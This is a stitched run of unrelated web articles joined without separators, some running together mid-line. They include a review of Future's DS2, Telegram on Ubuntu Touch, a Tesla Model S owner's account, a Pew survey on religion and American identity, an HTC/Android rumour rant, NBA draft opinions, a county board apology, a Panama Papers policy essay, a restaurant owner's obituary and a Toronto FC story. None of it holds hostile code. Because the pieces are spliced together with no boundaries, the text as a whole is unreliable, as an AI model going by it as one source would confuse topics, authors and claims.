For those unfamiliar with his work (go listen to the three mixtapes) his usual themes are strippers, sex, money, drugs — both the distribution and seemingly infinite consumption of. DS2 is no different. Like codeine into a cup of Sprite, he slips into the murky depths of his character.
Future raps the same way a seer predicts fate. He flows from subject to subject like an inner monologue. His most wrenching lines often come like epiphanies; all backed to hard-hitting trap drums. One can choose to take this album as typical trap music, but the hidden questions that lurk in Future’s stories take it to the next level.
Tryna make me a pop star and they made a monster I'm posted with my n*ggas, let the champagne flow A n*gga was depressed now my mind back healthy A product of them roach in 'em ashtrays I inhale the love on a bad day Baptized inside purple Actavis Future, 'I Serve the Base'
Future’s subversiveness comes through in songs like “Rich $ex.” It’s one of the brighter moments of the album. “Baby, let’s go and have rich sex,” Future sings. “You can keep your Rollie on when I get to it … When you look down, see my chains on.” It’s dressed as a happy song about sex. But the emotional connection of sex is displaced by the attraction to icons of wealth. Is Future having rich sex because wearing the chains makes it better or because he’s incapable of a real connection?
In “Groupies,” a rabidly aggressive declaration that Future is “back to f*cking (his) groupies.” He ends each verse by telling said groupie(s), “You really know me, nobody can love me like you.” The vulnerability is relatable. Future makes sense — in a way only he can — of how a disposable groupie, who is a nonentity even in singular form, can know you better than anybody else.
Rapping about life’s woes through the lens of the modern trap scene is what makes him accessible. Even if the only brick you know of is the red kind that builds your house wall, you understand Future when he says “I disguise pain when I make it rain.”
His presence is captivating on every track. It’s an achievement considering the instrumentals are characters of their own. Each one is pristine — serious props to the production/mastering team of DS2. The beats are gritty compositions. Some highlights are the siren that whines during Future’s first verse in “Groupies,” the industrial grating that makes up most of “I Serve the Base,” and the distorted plucking throughout “Where Ya At.”
The beats in the album are a sample of what cutting-edge Atlanta trap sounds like. Given the album’s DNA, it makes sense. Regular Future collaborators Metro Boomin and Southside make up most of the production credit.
The recipe for success Future refined through the “Monster,” “Beast Mode” and “56 Nights” trio is perfected in DS2. His ignorant lyrics are turnt to the max. Future described it as an album of music for the streets in his “Like I Never Left” documentary. “I just f*cked your b*tch in some Gucci flip-flops” are the album’s first lines — he wasn’t lying. Excess oozes through DS2.
DS2 is concise. There are no skits like on “Monster” and “56 Nights.” There’s also no mention of DJ Esco, the coolest DJ in the world, or something. It speaks to the focus on showing off the music. Future’s consistency over the previous three mixtapes, and now, DS2, is something to be admired. His strategy has paid off. DS2 is expected to sell 125 to 135 thousand copies in its first week. It’s good to see Future reap the rewards of sticking to his sound. “Honest,” his previous album, which compromised his music with a mistimed pop infusion, only sold 53K its first week.
It’s also something that can’t be done again. The arc that Future’s character began last Halloween comes to an end. His music needs to take a new turn with his next project or it’ll be stale. This album was missing an emotional ballad like “Codeine Crazy” or “March Madness,” two of Future’s best songs that could also work as the beginning of a direction for his next project. But who knows? If anything, he has proven himself to be adaptable. Future is here, and he’s here to stay.
Momin Rafi is a sophomore newspaper and online journalism major. You can email him at [email protected] or reach him on Twitter at @Mominat0r.Ubuntu Touch already has a large number of native apps and more are added every day. The platform needs as many applications as possible and now it's Telegram’s turn to land in the Ubuntu Store.
One of the main problems for any new mobile operating system is the number of apps available for users. Young operating systems, like Ubuntu Touch, need a large app base to make sure that users are satisfied with what they find by default. The developers have worked hard to integrate all the major apps that you would expect and there are quite a few contributions from the community.
Having as many apps as possible is a difficult thing to achieve because developers can't really do everything by themselves and they need to focus on the operating system. The only thing they can do is to provide a good platform for third-party development and the right tools for the job. That has been taken care of with the powerful Ubuntu SDK.
What is Telegram and why do we care
When Facebook bought Whatsapp, a large number of users looked for a different and better alternative for that messaging app. Telegram was the one that they turned to and the application has become much more widespread since then. It boasts powerful encryption algorithms, which attracted a lot of people who wanted more privacy.
The main thing differentiating the two solutions, Whatsapp and Telegram, is the fact that the latter has an API for its services and the former is notoriously obtuse in this matter. Telegram apps have been available for quite some time, even on the desktop, but now it has landed in the Ubuntu Store as well.
Interestingly enough, the app is signed by the "Ubuntu Core App Developer" and it's a native one, which means that it's very well integrated into the phone, and also has a nice scope. And it's free, of course.Guests test-drive the new Tesla Model S P85D after Tesla Motors Inc., announced its new all-wheel-drive version of the Tesla Model S car in Hawthorne, Calif., Thursday, Oct. 9, 2014. (AP Photo/Ringo H.W. Chiu) ORG XMIT: NYOTK118 (Photo11: Ringo H.W. Chiu, AP)
In less than four months, I have put more than 10,000 miles on my fully electric Tesla (NASDAQ: TSLA ) Model S -- enough to get a good feel for whether Tesla vehicles live up to all the hype. From taking a 2,200-mile road trip to driving on hilly snow-packed streets, I've pushed my 85 kWh Model S to the limits. Here are my four biggest takeaways, so far, about life with a Tesla.
1. Charging is easier than you might think.
With the Model S's 265 miles of range, my wife and I rarely have to charge the car anywhere but home. Minus the charging stops we made at Tesla's high-speed Supercharger stations and free overnight charging at hotels on a round trip to California, and the free Supercharging we use at a nearby mall while shopping (Why not? It's free and we get parking right by the entrance), we've probably stopped to charge somewhere one time. To be fair, there were a few times we charged at free public charging stations when we were running errands or shopping nearby -- but not because we had to. The rest of time, we simply plug in at home and let the car charge overnight.
The freedom of not having to stop frequently to fill a gas tank is absolutely worth the one time in 10,000 miles I've needed to stop somewhere to charge the car when I'm out and about.
2. Tesla's Supercharger network is a game changer
Without Tesla's network of Supercharger stations, Model S ownership wouldn't be the same. The fast-growing network continues to make long-distance travel easier for Tesla drivers.
Replenishing half a charge in as little as 20 minutes, or an 80% charge in about 40 minutes, Supercharger locations make life with a Model S much more enjoyable than it would be without them. Best of all, free Supercharging for life is included with the purchase of any Model S with an 85 kWh battery. Owners who opt for the smaller 60 kWh battery version of the Model S will have to pay $2,000 up front, or $2,500 after delivery.
On our trip to California, plenty of charging stations were available at every Supercharger location. I have heard from some Tesla owners, however, that they occasionally have to wait for a charging station to free up at some busy California locations. Perhaps this is one of the reasons Tesla recently launched a beta battery swap location in the state.
Currently, there are 145 Supercharger locations in the U.S. and 338 globally. Eighty percent of the U.S. population is now within 150 miles of a Supercharger location, well below the 208-mile range of even the smaller 60 kWh Model S battery.
3. Range anxiety is overstated.
One of the key arguments against electric cars is "range anxiety," or the fear of getting stranded on the side of the road because the battery has run out of charge. But is this really a problem?
I have on a few occasions worried about the range left on my battery. One time can be blamed on negligence, when I simply ignored the miles on my battery before I returned home on a 60-mile trip after driving more than 200 miles. The other two times were different lessons I hopefully have to learn only once: One involved lots of uphill driving, and the other freezing temperatures and a snowstorm (running the heater and driving up hills both take a meaningful -- but manageable -- toll on the range for a Model S).
To put the impact hills have on range in perspective, Nick J. Howe explained in his book, Owning Model S, that "gaining 5,000 ft of elevation in Model S takes the same amount of energy as driving 30 miles at 60 mph." That's a pretty nasty dent! But here's where the Model S makes up for this drawback: As long as the driver comes back down the hill, much of this loss is regained with regenerative braking. "Model S gains most of that energy back (about 80%) when you come down," Howe writes.
It's also worth noting that, unlike the gas-powered cars around me, not once during these 30 miles did I ever have to use my brake pads, since I could use regenerative braking going downhill to slow the car.
Using the range calculator on Tesla's website: An 85 kWh rear-wheel-drive Model S driving at 70 mph in 0 degree Fahrenheit with the heater running will have a range of 218 miles. This compares to 263 miles with no climate control and an outside temperature of 70 degrees Fahrenheit at the same speed.
I doubt I'll repeat mistakes related to projecting energy consumed by running the heater and driving up hills. Overall, I have found that since I can charge at home each night, managing range is incredibly easy.
4. Most people are clueless about Tesla.
It seems like my wife and I get an endless stream of questions about our Tesla. Even more surprising, I often meet people who have never even heard of Tesla.
One of the most common initial questions we get from strangers and friends is, "Who makes the car?" After we explain the car is made by Tesla, they often persist: "But who makes Tesla?"
Furthermore, most people don't know Tesla now has an all-wheel-drive version of the Model S, are completely unaware of the fast-growing Supercharger network, and have never heard of regenerative braking.
I can say that driving a Model S for 10,000 miles has made me more confident in Tesla's future. There is a strong value proposition in driving a fully electric car. As consumers are educated about Tesla and the price to buy one of its cars comes down with the launch of the Model 3, I believe demand will be robust enough for the company to grow rapidly for years.
But investors should note that I'm not alone in my optimism about the future for Tesla vehicles. Indeed, judging by Tesla's $26.4 billion market capitalization, the market seems to share the same rosy outlook for the company. So, huge growth for Tesla is already priced into the stock. While owning the car has helped me confirm that I prefer to hold shares for the long haul, I'd tread carefully when it comes to buying shares of Tesla given the stock's pricey valuation.
The Motley Fool is a USA TODAY content partner offering financial news, analysis and commentary designed to help people take control of their financial lives. Its content is produced independently of USA TODAY.
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Feb. 3, 2017, 5:00 AM GMT / Updated Feb. 3, 2017, 5:00 AM GMT By Avalon Zoppo
Nearly a third of Americans say that being "truly American" means subscribing to the Christian faith, a recent study by the Pew Research Center found.
But the study, which surveyed 14 countries, found that language was the core of national identity, with a median of 70 percent saying English proficiency is the key to being considered American. Being Christian trailed behind language and sharing customs and traditions.
The study released Wednesday found that 32 percent of Americans say being Christian is very important to national identity. And of those who say religion is important to them, 51 percent believe Christianity is a crucial part of being American, Pew said.
In a country that is majority Christian, the researchers said, "The public is divided over whether one has to be Christian in order to be considered American, with roughly a third saying it is very important and another third saying it is not at all important."
It added, "perhaps not surprisingly, the link between religion and nationality is of greatest consequence to those for whom religion plays a very important role in daily life."
Phil McCausland and Avalon Zoppo
Responses were split along generational, political and gender lines. More Republicans (43%) said being Christian is essential to being truly American whereas 29 percent of Democrats agreed, according to Pew. Those 50 or older considered being Christian more important than those 35 or under.
The study’s findings are consistent with research on anti-Islamic views in the U.S., said Council on American-Islamic Relations Communications Director Ibrahim Hooper, who added that given the current political climate, American Muslims face an increasingly negative perception.
"The study is not at all surprising," Hooper said. "But we are a religiously diverse nation of many different faiths. You don't have to follow a particular faith to be truly American. To be truly American, you should be accepting of all faiths."
Other countries see national identity differently — only seven percent of Swedish people, 10 percent of French respondents and 15 percent of Canadians said they believe being Christian is an important part of their nationality, Pew said.
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Pin 4 7K SharesIt's 4 a.m., I just read the 6th mention of the same misleading story in the last 24 hours, and it's time for a rant.
Yesterday, several "independent" reports all claiming to arrive at the same conclusion at the same time (does anyone properly credit their sources anymore?) appeared on the web suggesting HTC had just (*gasp*) leaked two new Android 4.3 features: Bluetooth Low-Energy and OpenGL ES 3.0. And it's done so via a public meetup organized by the San Francisco Android User Group. HTC is so careless that they've just published not one but two unreleased features coming in the next version of Android and therefore protected by strict NDAs. What a scoop!
Reality check time. What we're seeing here is a classic case of jumping to premature conclusions (is it time for an industry-wide intervention on jumping to conclusions yet?). Indeed, HTC is going to be introducing some improvements for some of their devices in the future, but it doesn't mean that they will come as part of Android 4.3, 5.0, or any version of Android as a whole. It's possible that they will, by all means - in fact, I'd be surprised if Google doesn't end up addressing both of these hot topics in the near future, but that's beside the point. Let me break down each announced feature.
OpenGL ES 3.0
In August of 2012, Khronos finalized the spec for OpenGL ES 3.0. The latest iteration promised better texture compression, improved compatibility with desktops, optimized battery consumption, and other things developers have been salivating about ever since.
In February of 2013, Qualcomm announced OpenGL ES 3.0 certification for its Snapdragon 600/800 processors' Adreno GPUs, which even further points at a driver update for Adreno rather than anything to do with the next version of Android.
On March 27 2013, HTC told The Inquirer that OpenGL ES 3.0 would be available for the HTC One in a future update. There no mention of Android 4.3 or an update to the OS version.
It's possible that new APIs and/or an update to the NDK will be announced at I/O (I hope they are) to let developers utilize new OpenGL ES 3.0 functionality. However, guessing that it will be an Android 4.3 feature is premature.
In fact, I think Google may backport OpenGL ES 3.0 support to previous Android versions and the OpenGL ES 3.0 support will not be tied to a specific future Android release. The NDK is not coupled with the SDK.
For example, Android 2.0 was released in October of 2009, but it was the NDK r3 update in March of 2010 that added support for OpenGL ES 2.0, independently of a specific Android release, yet compatible with Android 2.0 and up.
Bluetooth Low-Energy
HTC has had a BLE sign-up page for partners for a long time now - it's not even new information, contrary to the suggestions that it was leaked in the meetup.
GATT access will be enabled on all mainline HTC devices launching in and after this quarter.
Once again, no indication that it will be a feature of Android. Rather, the page is published as part of the OpenSense SDK and listed under partner APIs, meaning something HTC has itself developed on top of Android.
Hey, look - Samsung has done the same recently. In fact, Samsung is currently one step ahead of HTC, as its BLE SDK has been actually open to the public and not just partners for the last 3 weeks.
Update: As Gabriel Ittner pointed out in the comments, Google should update us on the status of BLE at Google I/O. How this will tie in with HTC's and Samsung's own efforts is not known at this time. Guessing whether BLE will indeed be added to the next version of Android or the one after that, etc. would just be speculation at this point.
HTC's Statement
Furthermore, HTC's developer evangelist Dario Laverde has since provided the following update, which is reflected in SlashGear's story:
To clarify, we’ll have some surprises for the meeting but we’re not claiming unannounced new features here – we’ll be demoing features and APIs already available on HTC devices. – Dario Laverde, HTC
tl;dr: HTC is going to be adding some new features but there is no indication that they have anything to do with Android as a whole. By all means, it would be nice if they did - in fact, I'd be surprised if Google doesn't end up adding them in the future. But that's beside the point.
Bonus: If you haven't read Eric's excellent editorial entitled Stop Making Crap Up And Then Whining About It, I highly recommend you do it now.
Image credit: wbez.orgGoogle today launched a new app to help professionals learn how to better market themselves in the Internet era.
Google Primer, available today on iOS and Android, contains free mini-lessons that span topics like search advertising, mobile Web design and more. Google’s aim is to teach these basic lessons with as little jargon as possible, so that anyone from small business owners to those in large companies can brush up on marketing concepts and become a smarter marketer.
It’s similar to what many company blogs do with articles on how to be a better entrepreneur (TNW’s own Entrepreneur and Design & Dev sections offer similar helpful tips on doing business on the Web). The bite-size lessons will all be available on the go, with new topics updated regularly.
➤ Google Primer: iOS | Android
Read next: Now you can make your own Doctor Who game, thanks to the BBCAt the College Basketball Roundtable each week, we ask members of the coverage staff their opinions about a current topic in the sport.
This week's question: Who will be the biggest lottery bust?
Jeff Eisenberg's answer: Harrison Barnes' inability to get to the rim in college would scare me if I were a general manager, but the potential top-five pick with the most bust potential is UConn center Andre Drummond. Yes, he has the body, wingspan and athleticism of a potential elite NBA center. He also has the unpolished offensive repertoire and suspect motor of Kwame Brown. Hailed as the recruit who could make UConn a contender for back-to-back championships, Drummond instead struggled to make a consistent impact during his lone erratic season with the Huskies. He lacks a back-to-the-basket game. He disappears for stretches of the game. And he doesn't work hard enough to consistently get good position against players he should dominate physically. Drummond's post defense, offensive rebounding and ability to finish in transition could be assets for an NBA team, but he's light years away from developing into a scoring threat. To me, he's a few years away from becoming DeAndre Jordan – and that's not what I'd want from a top-five pick.
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Mike Huguenin's answer: I think this is a good draft. While Anthony Davis is by far the best prospect, I think there are about 20 other potential first-rounders who can be solid NBA players for at least five years. But one guy I wouldn't touch is Connecticut center Andre Drummond. Nothing I saw from him in his one season at UConn leads me to believe he can be anything but a guy at the end of an NBA bench. Yes, he does have some shot-blocking skills and he truly is a big man. But I don't think his offense is near NBA-ready and I'm not sure he'll work hard enough to change that. He'll be drafted early because of his potential, but I'd bet 15 or so guys taken after him in the first round will have far more productive NBA careers. I also have a ton of doubt about Illinois center Meyers Leonard (he has "well-traveled journeyman" written all over him) and Baylor forward Perry Jones (though most mock drafts now seem to have him plummeting into the high teens or low 20s).
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CAMBRIDGE, Illinois – A Henry County Board member publicly apologized for the first time for homophobic comments he made on social media during a radio contest.
Jacob Waller made a statement during the Henry County Board meeting on Thursday, March 16 but a large group of people who showed up at the meeting were looking for more.
"It's an embarrassment to the community, to each and every one of us" LGBTQ supporter Sherry Bell said to describe Waller's comments which we first reported in February.
Waller is under fire for attacking a Lesbian couple on social media. In February, he entered a picture of his family into a "Cutest Couple" contest through a local radio station. He shared a link to the contest from his personal Facebook page, repeatedly posting attacks on a Lesbian couple also in the contest.
Visibly nervous, Waller addressed his comments for the first time.
"I'd like to apologize for unkind things said about persons who are homosexual and overweight," he said.
But some of the people who came to the meeting say Waller's apology is not enough.
"I do not see how a member of the board can remain unbiased and serve the community making comments like that," said LGBTQ supporter Jeanette Gibson.
But Waller's brother disagrees.
"In the Constitution it says men and women can say what they want to," said Lucas Waller.
And for now, Jacob Waller appears to have said all he want to say.
"From this day forward I hope to return to the work of the board and citizens of Henry County."
The County Board did not take any immediate action against Waller at the Board meeting. It doesn't appear members will force him from his seat either.
In an email sent to News 8 after the meeting, Board member Shawn Kendall said State's Attorney Matt Schutte stated the board does not have the legal power to remove a member from the board. Nor is there a process for the people to recall an elected official. These are both items the public requested and the board and State's Attorney have explored.
The Board did vote to develop a new policy on Board member conduct and speech.
LGBT supporters gave the Board a list of action items they want the Board to review. The Board Chairman says the County's Executive Committee will consider the list.SALT LAKE CITY (March 26, 2015) – The Utah Jazz announced today that team has signed forward Jack Cooley to a multi-year contract. Per team policy, financial terms were not released. Cooley signed his most recent 10-day contract with the Jazz on March 16 and has appeared in six Jazz games, averaging 1.7 points in 4.3 minutes per contest.
When the Jazz signed him from the NBA Development League’s Idaho Stampede, Cooley (6-9, 246, Notre Dame) was averaging 16.8 points, 12.5 rebounds, 1.1 assists and 1.3 blocks in 30.8 minutes per contest in 20 games. On March 13, Cooley set a new D-League single-game record by grabbing 29 rebounds vs. Los Angeles D-Fenders, adding 27 points while going 11-of-14 from the floor (78.6 percent). Over his final three games, Cooley averaged 22.7 points on 65.9 percent shooting (27-of-41) and 22.7 rebounds per game with the Stampede. He recorded 13 double-doubles, including four straight since returning to the D-League. He scored in double figures on 17 occasions and recorded 20-plus points in six games.
Cooley also attended 2014 training camp with the Jazz, averaging 3.5 points and 3.0 rebounds in 5.8 minutes in two preseason games before being waived on Oct. 22.
A native of Glenview, Ill., Cooley played four seasons at Notre Dame (2009-13).Battlefield developer DICE's upcoming shooter Star Wars: Battlefront is aiming to run at 60fps across all versions. This was confirmed when the game was announced last month. But anything you've heard so far about the game's resolution is only a rumor, Electronic Arts now says.
"No one said anything about resolution," an Electronic Arts community manager said on Reddit in response to a fan who mentioned 720p and 900p in a post. "If you have heard anything otherwise, it's a rumor. We have only confirmed the game will run at 60fps."
Battlefront is in development for PC, Xbox One, and PlayStation 4. The game is not coming to last-generation consoles, while there has been no mention of a release for Wii U.
EA has kept busy answering questions about Battlefront on Reddit. Below are some of the company's other responses to hot topics. Battlefront launches November 17 across all platforms.
PC Requirements:
"With the Frostbite engine and the inclusion of full PBR, the game isn't just like Battlefield Hardline or Battlefield 4. Once the team has the game into its Beta phase, they can start testing the game on 100s if not thousands of PC systems and find the minimum spec required to run the game. It might end up being the same as Battlefield Hardline or even Battlefield 4. But until those tests can take place, we can't commit to specs / details. Being a fairly hardcore PC gamer, I want to know the specs as well. But... my PC is powerful, so not worried. But I know you guys are and want to get you that info as soon as we can." [Source]
Ewoks:
"Ewoks are 100% on Endor." [Source]
Maps:
"It's 12 multiplayer maps total and even more locations among the planets for Star Wars Battlefront Missions. We have not confirmed the precise count per planet. The maps will offer a nice mix of locations and environments. Stay tuned as we reveal new maps, modes, etc. in the months ahead." [Source]
"Fairly sure we never said 'three maps per planet.' I know we said 12 multiplayer maps with even more if you include Missions." [Source]The recent Panama Papers leak has brought tax havens to the forefront of public policy discussions. Naturally, many individuals and supranational entities have advocated for more stringent regulations on tax havens and tougher Anti-Money Laundering (AML) programs in response to these revelations. Entities such as the Organization for Economic Co-operation and Development (OECD) have spearheaded this push to penalize tax havens.
The OECD has used the recent release of the Panama Papers to not only condemn Panama for its tax haven status, but has also doubled down in its efforts to impose more onerous rules on money laundering and tax evasion. Interestingly, organizations such as the Financial Action Task Force (FATF) recently removed Panama from its grey list of countries that did not have adequate measures that impede money laundering and dirty money practices.
Like the OECD, the FATF is not very keen on the idea of tax competition but it is rather telling that it decided to remove Panama from its list of suspicious countries. This is no isolated incident, as countless other offshore jurisdictions such as the Cayman Islands have actually beefed up their laws against dirty money over the past few years. Ironically, these much maligned offshore sites have stricter due AML measures than many OECD countries.
So what is truly at stake in the recent response to the Panama Papers? This article will seek to analyze what PEPs are; which notable politicians were involved in the Panama Papers; whether or not expanding current PEPs and Anti-Money Laundering (AML) measures are effective forms of policy; and the political implications of the Panama Papers.
What are PEPs?
The FATF, which was established in 1989 by the G7, has led the push against money laundering around the world. Over the years, FATF has developed a “politically exposed person” (PEP) standard as a way to combat money laundering and terrorist financing at the highest echelons of government.
In short, a PEP is an individual – a government official or their family members or close associates – who could use their public office for ill-gotten gains or be at greater risk for corruption or terrorist financing. The standards for determining what constitutes a PEP are not universal, but there is general consensus among countries that the 2003 FATF standard is the norm for the financial services industry.
List of PEPS involved in the Panama Papers
The following politicians have become targets of controversy because of information in the Panama Papers:
David Cameron
Former British Prime Minister David Cameron had criticized complex offshore structures for not operating in a fair manner in 2013. In an ironic twist of fate, the Panama Papers would later reveal details of the offshore trust, Blairmore Holding, Inc., that his father Ian Cameron established in 1982. While Cameron did hold shares in Blairmore in the past, he claimed to have sold his shares before becoming prime minister. Nevertheless, he has received significant criticism for his dealings in the offshore trust by opposition leaders. More fuel has been added to the fire as new details have emerged that implicate fellow Conservative Party members in offshore activities.
Rafael Correa
In response to the Panama Papers, President of Ecuador Rafael Correa proposed an ethical pact to reject candidates in upcoming elections that hold money in tax havens. At first glance, this response seemed natural given Rafael Correa’s penchant for populist economic policies. However, new developments emerged from the Panama Papers in which Correa and his estranged brother Fabrcio Correa were reported to have bought Orlion S.A., an offshore company, in 2006. To add more intrigue into the mix, Orlion S.A. was under investigation in 2012, during Correa’s presidency, by the Panamanian government for the alleged embezzlement of state funds.
Sigmundur Davíð Gunnlaugsson
Sigmundur Davíð Gunnlaugsson involvement in Wintris, a foreign company and a creditor of failed Icelandic banks, is one of the most notable political revelations of the Panama Papers. Prior to his resignation as prime minister, Gunnlaugsson was a major player in Icelandic politics who ascended the ranks as chairman of the Progressive Party, eventually becoming prime minister in 2013. The Panama Papers shed light on his activity with Wintris, in which he owned a 50 percent share when he entered office in 2009. Eight months after entering office, he would sell his share to his wife for $1. Although Gunnlaugsson broke no laws, his failure to disclose his share in Wintris did not sit well with Icelandic voters. After widespread protests and pressure from political opponents, Sigmundur Davíð’s resigned from the office of prime minister on April 5, 2016.
Understanding the anti-tax haven motives
What the Panama Papers have demonstrated is that politicians are very involved in offshore activities. According to WikiData, politicians were the most cited occupation group in the Panama Papers. There is nothing inherently wrong in using offshore services, but these recent findings show a degree of hypocrisy on the part of some politicians. Many politicians are quick to lambast tax havens when they themselves or their colleagues use these services.
Moreover, there is an elephant in the living room that is frequently ignored – the fiscal predicament of many OECD countries. The majority of the OECD countries are characterized by generous welfare states. While the benefits of a welfare state make for good politics in the short term, they are very expensive to maintain in the long-term. Coupled with demographic realities, welfare states will find themselves on unsustainable paths after years of lavish spending put them on the verge of potential bankruptcy.
History has shown that when countries are in fiscal dire straits they will look to find a scapegoat domestically or abroad as a pretext for increased taxation. In this case, tax havens are the political class’s new target.
Policy effects of PEP and AML measures
Given the fact that so many political figures were exposed by the Panama Papers, perhaps the real lesson is that FATF and other bureaucracies should focus on reforms that will make it harder for politicians to misuse their power to loot their nations.
Though it is important to be realistic about what can be achieved. If politicians are comfortable with stealing public funds, it is very unlikely additional rules and regulations will have much impact, whether those policies come from FATF or elsewhere.
Alternatively, FATF can devise rules for financial institutions that arguably would be effective, such as mandatory disclosure of all assets owned by politicians, their families, and close associates, combined with prohibition of foreign financial accounts for those individuals. But such dramatic steps surely would face an uphill battle since FATF bureaucrats know that their (tax-free) salaries are dependent on approval by governments.
In any event, AML measures that make criminal actions more expensive for politicians would, on paper, make looting less likely.
But it would be very important for the rules to be narrowly targeted on politicians and the people close to them. Extending such rules to the broader population would necessitate a gross misallocation of resources. Economics has demonstrated repeatedly that policies often produce unintended consequences that deviate substantially from the lawmakers’ original intent. AML laws that require individuals and companies to complete extensive amounts of paperwork, for instance, result in increased costs that inhibit the effective functioning of the financial sector.
This dynamic is most visible in developing countries, where banking is at times cost prohibitive for many individuals. According to a 2014 World Bank report, 62 percent of adults worldwide have accounts at banks and other financial institutions. That being said, there still exists wide disparities in banking accessibility between the developed world and the developing world.
The 2014 World Bank report sheds light on how documentation requirements are a significant barrier to account ownership, with 18 percent of adults citing these types of requirements as a hindrance to account ownership. By the same token, 23 percent of adults cited costs as another barrier to setting up bank accounts.
Generally speaking, these high costs can largely be attributed to the regulatory expenses incurred by banks due to the anti-money laundering requirements. In turn, financial institutions pass the burden on to consumers through higher costs and fees. FATF has even recognized this unintended consequence and has tried to implement safeguards that promote more financial inclusion.
Panama Papers: Qui bono?
Who benefits from the recent release of the Panama Papers? It has become clear that not only multinational organizations such as the OECD have benefitted, but also populist politicians on the far left have gained much traction with the release of the Panama Papers. Politicians such as Jeremy Corbyn in the United Kingdom, Bernie Sanders in the United States, and Pablo Iglesias in Spain have unsurprisingly railed against the latest revelations from the Panama Papers. Their respective calling cards are their perceived independence from the “establishment” political left and right.
In reaction to the Panama Papers, Iglesias has called for an international tax collection agency to prevent tax evasion. Iglesias has had choice words for Spanish political elites, viewing them as the ruling “caste” that is supposedly fostering corruption and economic inequality. The Panama Papers has provided Iglesias and his party Podemos (We Can) the ideal springboard to pick up steam throughout Spain.
Similarly, Jeremy Corbyn, the Leader of the Labour Party in Great Britain, has capitalized on the release of the Panama Papers to attack the then-Prime Minister David Cameron for his involvement in offshore activities. The case that the Panama Papers brought to light did not reveal criminal action on Cameron’s part. Nevertheless, Corbyn has made sure to score points by demonstrating the purported corruption of Cameron and his Tory colleagues.
Bernie Sanders has long advocated for measures that would impede tax reduction practices. Five years ago, Sanders made his voice heard when he stood up against the U.S.-Panama Trade Promotion Agreement, where he claimed in a speech before Congress that large corporations evade $100 billion in U.S. taxes through the use of “abusive” and “illegal” offshore accounts based in Panama. Fast forward to the present, Sanders has advocated for an immediate repeal of the Panama Free Trade Agreement and has vowed to prosecute banks, corporations and individuals who hold money illegally in offshore accounts.
Although, it remains to be seen whether Corbyn, Sanders or Iglesias will make further political headway in their respective careers, they have undoubtedly used the recent Panama Papers controversy to advance their populist platforms. Politics has demonstrated that even when certain policy prescriptions are deemed to be too radical for the general public, political posturing by certain political gadflies can gradually shift the proverbial Overton Window of public opinion towards their pet policies.
Conclusion
It is ironic that politicians and international bureaucracies are using the Panama Papers as an excuse to impose higher burdens on the private sector when the only real revelation from the stolen documents was that politicians were the biggest users of offshore structures. And unlike private sector users, who generally utilize companies, trusts and other structures for legitimate purposes, it is far more likely that politicians were seeking to hide ill-gotten gains.
All in all, AML measures should be focused on elected officials and other figures that hold national office. In theory, public officeholders are agents of their respective political jurisdiction, thus must be held to higher standards of conduct in all spheres of their lives. It stands to reason that any individual that pursues public office must cede a certain degree of privacy.
However, AML standards that are applied to the general populace may turn out to be costly for countless individuals. Developing countries are often the forgotten man in these discussions as they do not necessarily have the luxury of having cost-effective banking services at their disposal.
The world would be better off with a vibrant system of tax competition among countries in which citizens are treated as customers and nations are incentivized to compete with each other to acquire the most productive individuals across the globe. In the end, simplified tax laws that emphasize territorial taxation through consumption taxes on all economic activity realized within a country’s borders, would be a more cost-effective manner of reducing the incentive for tax evasion and the circulation of dirty money.UKRAINIAN VILLAGE — Phil Ashbach, the beloved owner of Fatso's Last Stand, died Wednesday night after a battle with brain cancer.
Ashbach was known for his behind-the-counter wisecracks at Fatso's, which was previously called Phil's Last Stand, 2258 W. Chicago Ave. The spot is known for its fried shrimp, chardogs and "Fatso" burgers.
"He was a true Chicagoan," said Bob Corbett, who has been running the restaurant since Ashbach got too sick to do so. "If he thought he could joke around with you, he'd have fun with you. His thing was there was no way he could offend you. He'd say 'I'm a 400-pound Jew, and I'm bald. I'm the easiest guy to make fun of.' "
While Ashbach publicly discussed his weight struggles on his now-defunct blog, it was cancer that killed him. According to the Sun-Times, he reached out to his doctor brother last summer after he began smelling things that weren't there. He soon was diagnosed with gioblaste multiforme, a fast-moving brain tumor that usually results in death within three to nine months.
Ashbach, 66, leaves behind four children and a staff that considered him both family and a mentor.
"He'd come in at 11, sit down at the register, start taking orders and start screaming at people... 'Why don't you get a double Fatso [burger]?' " said Vianney Romero, an employee at Fatso's.
And if someone asked for ketchup to put on their hot dog, they'd hear about it.
Corbett described Ashbach as a perfectionist built for the late-night food industry and a businessman who wasn't afraid to challenge himself to help the business grow. In 2012, Ashbach partnered with the Lockdown Bar & Grill crew to open Phil's after a few of his other ventures didn't work out.
Corbett remembered his first experience with Ashbach — a brutal session behind a grill with him barking orders. He also doubted anyone's ability to finish the spot's burger monstrosity: the Fatso Burger. He began offering $50 to anyone who could.
"He never thought anyone would finish it, so every time someone attempted and didn't finish he'd roll the $50 over," said Corbett. The pot grew to $1,500 before Jamie "the Bear" McDonald visited in 2012 and completed both the burger challenge and Fatso's Po'Boy Challenge in consecutive days.
Despite Ashbach's tough talk, Romero remembered him as a gentle man. She met him on Fatso's patio and begged for a job, which he gave her the next day.
"It's sad. It's real sad he's gone. We miss him a lot, already," she said. "I was close to him. I loved him as a person, and I saw him as someone I could trust and count on."
Corbett said Fatso's Last Stand will remain open with no changes after Ashbach's death, but something will be missing.
"His personality really livened the place up," he said.
For more neighborhood news, listen to DNAinfo Radio here:TORONTO — Dwayne De Rosario was quick to correct this correspondent when it was put to him that he’s seen very little playing time this season.
“I’m not getting no playing time, man,” De Rosario affirmed.
It wasn’t said with malice or bitterness. There was no pouting and stomping of feet. No act of childish petulance, no mock cheque signing gesture. It was just a simple admission of his honest feelings about his second stint with Toronto FC.
Three years ago, De Rosario was the best player in Major League Soccer, voted the league’s MVP while a member of D.C. United. Today, the 36-year-old native of Scarborough, Ont., barely features for his hometown club. Picked up by Toronto in December after D.C. decided not to re-sign him, De Rosario has made just 10 league appearances (three as a starter) totalling 295 minutes.
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He hasn’t played since the Reds’ 2-1 loss to Sporting Kansas City on July 26 when he was subbed in with eight minutes left in regulation. Since then he’s been rooted to the bench or worse—he didn’t even dress for TFC in Saturday’s 2-2 draw against the Chicago Fire. With Jermain Defoe leading the team in scoring and Gilberto in fine form with a goal in each of his last four matches, De Rosario finds himself farther down the depth chart now compared to the start of the campaign when there was a great deal of buzz about his return to Toronto.
“We’ve gotten everything from [Dwayne De Rosario],” coach Ryan Nelsen said following the Chicago game. “He’s been fantastic in the locker room. [But] I’ve got a Premier League striker [Luke Moore] on the bench and a Nigerian striker [Bright Dike] who would have been going to the World Cup.”
